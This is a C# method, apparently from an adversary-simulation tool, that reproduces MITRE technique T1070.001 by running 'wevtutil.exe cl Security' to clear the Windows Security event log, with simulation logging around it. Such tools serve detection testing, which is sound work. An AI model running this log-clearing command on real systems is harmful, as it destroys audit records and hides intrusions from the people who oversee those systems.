public static void ClearSecurityEventLogCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1070.001"); logger.TimestampInfo("Using the command line to execute the technique"); try { ExecutionHelper.StartProcess("", "wevtutil.exe cl Security", logger); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }